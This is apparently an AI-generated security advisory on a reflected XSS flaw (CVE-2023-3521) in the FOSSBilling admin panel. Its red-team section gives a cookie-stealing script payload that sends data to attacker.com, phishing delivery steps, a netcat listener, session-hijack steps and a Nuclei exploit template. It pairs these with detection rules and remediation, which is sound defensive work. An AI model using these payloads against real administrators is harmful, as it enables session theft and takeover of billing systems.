CVE-2023-3521

Executive Summary

CVE-2023-3521 is a reflected Cross-Site Scripting (XSS) vulnerability in FOSSBilling, an open-source billing and client management platform. The flaw exists in the admin interface, specifically within the date_to and date_from parameters. An unauthenticated attacker can craft a malicious URL containing JavaScript payloads in these parameters. When a logged-in administrator clicks the link, the script executes in the context of the admin session, potentially allowing the attacker to steal session cookies, access sensitive billing data, and perform administrative actions. The vulnerability affects all versions prior to 0.5.4. The CVSS score is 6.1 (Medium), and a public proof-of-concept (Nuclei template) is available, increasing the risk of exploitation.

Supply Chain & Package Security

FOSSBilling is a PHP-based application distributed via GitHub and Composer. The vulnerability does not directly affect the supply chain package itself (e.g., a malicious dependency), but the lack of a publicly available patch commit or advisory from the maintainers raises concerns about the security posture of the project. Users relying on Composer for deployment should ensure they are pulling the latest patched version (0.5.4 or later) and verify the integrity of the package.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed to trigger the XSS.
• User Interaction (UI): Required (R) - The victim (admin) must click the malicious link.
• Scope (S): Changed (C) - The vulnerable component (admin interface) impacts the broader application (billing data, admin session).
• Confidentiality (C): Low (L) - Limited data exposure (e.g., session cookie).
• Integrity (I): Low (L) - Limited ability to modify data (e.g., via admin actions).
• Availability (A): None (N) - No impact on availability.
• EPSS Score: 0.18964 (Percentile: 95.34%) - Indicates a moderate probability of exploitation in the wild.

Threat Level: Medium. The requirement for user interaction (admin clicking a link) reduces the immediate risk, but the availability of a public exploit template and the potential for session hijacking make this a significant threat for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the FOSSBilling admin panel. The date_to and date_from parameters are used to filter billing records by date. The application fails to properly sanitize or encode user input before reflecting it back in the HTML response.

Attack Flow:

1. An attacker crafts a URL like: https://target.com/admin?_url=%2Fadmin&date_to='"><img+src=x+onerror=alert(3)>&date_from='"><img+src=x+onerror=alert(3)>
2. The attacker sends this link to a logged-in FOSSBilling administrator (e.g., via email, social engineering).
3. The admin clicks the link, which sends a GET request to the vulnerable endpoint.
4. The server processes the request and reflects the unsanitized date_to and date_from values directly into the HTML page.
5. The browser interprets the injected <img> tag with an onerror event, executing the attacker's JavaScript (in this case, alert(3)).
6. A real attacker would replace alert(3) with a payload that steals the admin's session cookie (e.g., document.location='https://attacker.com/steal?cookie='+document.cookie).

Root Cause: Lack of output encoding for user-supplied data in the admin interface. The application likely uses $_GET['date_to'] and $_GET['date_from'] without applying htmlspecialchars() or similar encoding before echoing the values into the HTML.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - < 0.5.4):

// In admin controller or view
$date_to = $_GET['date_to'];
echo "<input type='text' name='date_to' value='$date_to'>";

Patched Code (Conceptual - >= 0.5.4):

// In admin controller or view
$date_to = htmlspecialchars($_GET['date_to'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='date_to' value='$date_to'>";

The patched version uses htmlspecialchars() to encode special HTML characters (', ", <, >, &) into their HTML entities, preventing the browser from interpreting them as code.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A FOSSBilling instance (version < 0.5.4) with an active admin session.
• A listener to capture exfiltrated data (e.g., a simple HTTP server or Burp Collaborator).

Exploitation Steps:

1. Craft the malicious URL:

   https://target.com/admin?_url=%2Fadmin&date_to='"><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>&date_from='"><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

   Note: URL-encode the payload for reliability.

2. Deliver the link to an admin (e.g., via phishing email, social media, or a compromised forum).

3. Capture the cookie on your attacker-controlled server:

   # Simple Python listener
   python3 -m http.server 80
   

   Or use a dedicated tool like nc -lvnp 80.

4. Use the stolen cookie to impersonate the admin:

   • Open a browser developer console.
   • Set the cookie: document.cookie = "PHPSESSID=stolen_value";
   • Navigate to the FOSSBilling admin panel.

Nuclei Template (Provided):

id: CVE-2023-3521

info:
  name: FOSSBilling < 0.5.3 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through date_to and date_from parameters to steal FOSSBilling administrator session cookies and access sensitive billing and customer data.
  remediation: |
    Update FOSSBilling to version 0.5.4 or later that properly sanitizes date parameters in the admin interface and encodes output to prevent reflected XSS attacks.
  reference:
    - https://huntr.com/bounties/76a3441d-7f75-4a8d-a7a0-95a7f5456eb0
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3521
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3521
    cwe-id: CWE-79
    epss-score: 0.18964
    epss-percentile: 0.95339
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="FOSSBilling"
    product: fossbilling
  tags: cve2023,cve,fossbilling,xss,vuln

http:
  - raw:
      - |
        GET /admin?_url=%2Fadmin&date_to='"><img+src=x+onerror=alert(3)>&date_from='"><img+src=x+onerror=alert(3)> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(3)>"
          - "FOSSBilling"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

Usage:

nuclei -t CVE-2023-3521.yaml -u https://target.com

Blue Team

Detection Steps:

1. Monitor web server logs for requests containing suspicious patterns in the date_to or date_from parameters:

   • <script, <img, onerror, onload, javascript:, etc.
   • Base64-encoded payloads.
   • Unusual URL encoding (e.g., %22%3E%3Cscript%3E).

2. Check for anomalous admin session activity (e.g., logins from unusual IPs, rapid changes to billing data).

3. Review FOSSBilling access logs for the /admin endpoint with unexpected query strings.

Lab Setup:

• Vulnerable Instance: Deploy FOSSBilling 0.5.3 using Docker or a local PHP environment.
• Attacker Machine: Kali Linux with Nuclei and Burp Suite.
• Victim Browser: Firefox with developer tools open to observe XSS execution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /admin?_url=%2Fadmin&date_to=...&date_from=... containing HTML/JavaScript payloads.
  • Outbound connections from the FOSSBilling server to unknown IPs (data exfiltration).
  • Referer header pointing to phishing pages or malicious domains.

• Host IOCs:

  • Unexpected entries in the FOSSBilling access log (/var/log/fossbilling/access.log or similar).
  • Presence of JavaScript payloads in the date_to or date_from parameters in log files.
  • Modified admin session cookies (e.g., PHPSESSID changed without a corresponding login event).

• File IOCs:

  • No specific file changes expected, as this is a reflected XSS (no file upload).

Detection Engineering

YARA Rule

rule CVE_2023_3521_FOSSBilling_XSS {
    meta:
        description = "Detects reflected XSS attempts against FOSSBilling CVE-2023-3521"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "medium"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-3521"
    strings:
        $xss_payload1 = /date_to=[^&]*<script[^>]*>/
        $xss_payload2 = /date_from=[^&]*<script[^>]*>/
        $xss_payload3 = /date_to=[^&]*<img[^>]*onerror/
        $xss_payload4 = /date_from=[^&]*<img[^>]*onerror/
        $admin_path = "/admin?_url=%2Fadmin"
    condition:
        any of ($xss_payload*) and $admin_path
}

Sigma Rule

title: FOSSBilling Reflected XSS Attempt (CVE-2023-3521)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting FOSSBilling admin panel with XSS payloads in date_to or date_from parameters.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3521
    - https://huntr.com/bounties/76a3441d-7f75-4a8d-a7a0-95a7f5456eb0
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/admin?_url=%2Fadmin"
        cs-uri-query|re:
            - "date_to=.*<script"
            - "date_from=.*<script"
            - "date_to=.*<img.*onerror"
            - "date_from=.*<img.*onerror"
    condition: selection
falsepositives:
    - Legitimate use of HTML in parameters (unlikely)
level: medium
tags:
    - attack.t1190
    - cve.2023.3521

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-3521 FOSSBilling Reflected XSS Attempt"; flow:to_server,established; content:"/admin?_url=%2Fadmin"; http_uri; pcre:"/(date_to|date_from)=[^&]*<script[^>]*>/i"; pcre:"/(date_to|date_from)=[^&]*<img[^>]*onerror/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update FOSSBilling to version 0.5.4 or later. If an update is not available, apply the conceptual patch by adding htmlspecialchars() to all user-supplied parameters in the admin interface.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script, <img, onerror, or similar XSS patterns in the date_to and date_from parameters.
3. Educate administrators about phishing risks and the importance of not clicking suspicious links.

Long-Term Hardening:

• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Use HTTP-only and Secure flags for session cookies.
• Conduct regular security audits and penetration testing.
• Monitor for new advisories from the FOSSBilling project.

Valters IT Signature

Report generated by Valters IT DevSecOps AI Assistant. For questions, contact Secure Channels (Signal / Portal).